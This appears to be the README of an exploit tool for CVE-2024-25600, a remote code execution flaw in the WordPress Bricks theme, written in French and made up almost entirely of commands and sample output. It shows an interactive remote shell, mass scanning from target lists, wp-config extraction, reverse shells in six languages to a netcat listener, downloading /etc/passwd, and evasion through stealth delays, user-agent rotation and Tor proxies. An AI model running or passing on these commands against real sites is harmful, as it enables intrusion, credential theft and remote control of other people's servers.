git clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600

python3 -m venv venv
source venv/bin/activate          # Windows : venv\Scripts\activate

pip install -r requirements.txt

python3 cve-2024-25600.py --help

requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0          # optionnel — support proxy SOCKS5

# Shell interactif
python3 cve-2024-25600.py -u https://target.example

# Commande unique
python3 cve-2024-25600.py -u https://target.example --cmd "id"

# Scan de masse
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json

# Détection de version
python3 cve-2024-25600.py -u https://target.example --detect-version

# Via proxy Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

python3 cve-2024-25600.py --help

python3 cve-2024-25600.py -u https://target.example

python3 cve-2024-25600.py -u https://target.example --cmd "whoami"

python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output

# Charge utile par défaut basée sur les exceptions PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php

# Charge utile basée sur system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system

python3 cve-2024-25600.py -u https://target.example --detect-version

python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"

python3 cve-2024-25600.py -u https://target.example --extract-wp-config

# Terminal 1 — écouteur
nc -lvnp 4444

# Terminal 2 — shell inverse bash
python3 cve-2024-25600.py -u https://target.example \
  --reverse-shell bash \
  --lhost 10.0.0.5 \
  --lport 4444

python3 cve-2024-25600.py -u https://target.example --reverse-shell bash   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc     --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php    --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl   --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby   --lhost 10.0.0.5 --lport 4444

python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"

# targets.txt — une URL par ligne
python3 cve-2024-25600.py -f targets.txt

python3 cve-2024-25600.py -f targets.txt \
  -t 15 \
  --delay 0.5 \
  --stealth \
  -o vulnerable.json

python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt

python3 cve-2024-25600.py -f targets.txt -q -o results.json

# Les deux points de terminaison (par défaut)
python3 cve-2024-25600.py -u https://target.example --endpoint both

# Uniquement /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json

# Uniquement /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route

python3 cve-2024-25600.py -u https://target.example \
  --stealth \
  --delay 1.0 \
  --max-retries 5 \
  --timeout 20

# UA personnalisé
python3 cve-2024-25600.py -u https://target.example \
  --user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"

# Désactiver la rotation aléatoire du UA
python3 cve-2024-25600.py -u https://target.example --no-random-ua

# Proxy HTTP (ex. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v

# Proxy SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050

# SOCKS5h (DNS via proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050

# Activer la vérification du certificat SSL (désactivée par défaut)
python3 cve-2024-25600.py -u https://target.example --verify-ssl

# Sauvegarder les résultats de scan en JSON
python3 cve-2024-25600.py -f targets.txt -o results.json

# Sauvegarder les résultats de scan en TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt

# Fichier journal d'application personnalisé
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v

# Journaliser les commandes exécutées
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"

# Journalisation verbeuse / debug
python3 cve-2024-25600.py -u https://target.example -v

# Mode silencieux (sortie minimale)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"

python3 cve-2024-25600.py -f targets.txt \
  -t 25 \
  --timeout 20 \
  --delay 0.2 \
  --max-retries 5 \
  -o results.json

python3 cve-2024-25600.py -u https://target.example \
  --detect-version \
  --extract-wp-config \
  --stealth \
  --delay 0.8 \
  --timeout 20 \
  --max-retries 5 \
  --endpoint both \
  --proxy http://127.0.0.1:8080 \
  --log-file bricks_assessment.log \
  --command-log commands.log \
  -v

Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit

Shell> whoami
www-data

Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell> help

[*] Test : https://target.example
[+] https://target.example est vulnérable !
[+] Shell interactif ouvert avec succès

{
  "timestamp": "2026-07-17T01:30:00",
  "version": "1.0.0",
  "config": {
    "threads": 10,
    "timeout": 15,
    "delay": 0.5
  },
  "stats": {
    "processed": 100,
    "vulnerable": 3,
    "failed": 97
  },
  "vulnerable_targets": [
    {
      "url": "https://target.example",
      "timestamp": "2026-07-17T01:31:12"
    }
  ]
}

# Vérification verbeuse d'une cible unique
python3 cve-2024-25600.py -u https://target.example --detect-version -v

# Via Burp pour inspection des requêtes
python3 cve-2024-25600.py -u https://target.example \
  --proxy http://127.0.0.1:8080 -v --cmd "id"

# Préférer un point de terminaison spécifique
python3 cve-2024-25600.py -u https://target.example --endpoint json -v

exploit/
├── cve-2024-25600.py     # BricksRCE Exploiter (v1.0)
├── requirements.txt      # Dépendances Python
├── README.md             # Ce fichier
├── bricks_rce.log        # Journal d'exécution (généré)
└── venv/                 # Environnement virtuel local (optionnel, non commité)

Licence MIT

Copyright (c) 2024–2026 Sudeepa Wanigarathna

Par la présente, une autorisation est accordée, gratuitement, à toute personne obtenant une copie
de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter
le Logiciel sans restriction, y compris sans limitation les droits
d'utiliser, de copier, de modifier, de fusionner, de publier, de distribuer, de sous-licencier et/ou de vendre
des copies du Logiciel, et d'autoriser les personnes auxquelles le Logiciel est
fourni à le faire, sous réserve des conditions suivantes :

L'avis de droit d'auteur ci-dessus et cet avis d'autorisation doivent être inclus dans toutes
les copies ou parties substantielles du Logiciel.

LE LOGICIEL EST FOURNI « EN L'ÉTAT », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU
IMPLICITE, Y COMPRIS MAIS SANS S'Y LIMITER LES GARANTIES DE QUALITÉ MARCHANDE,
D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON.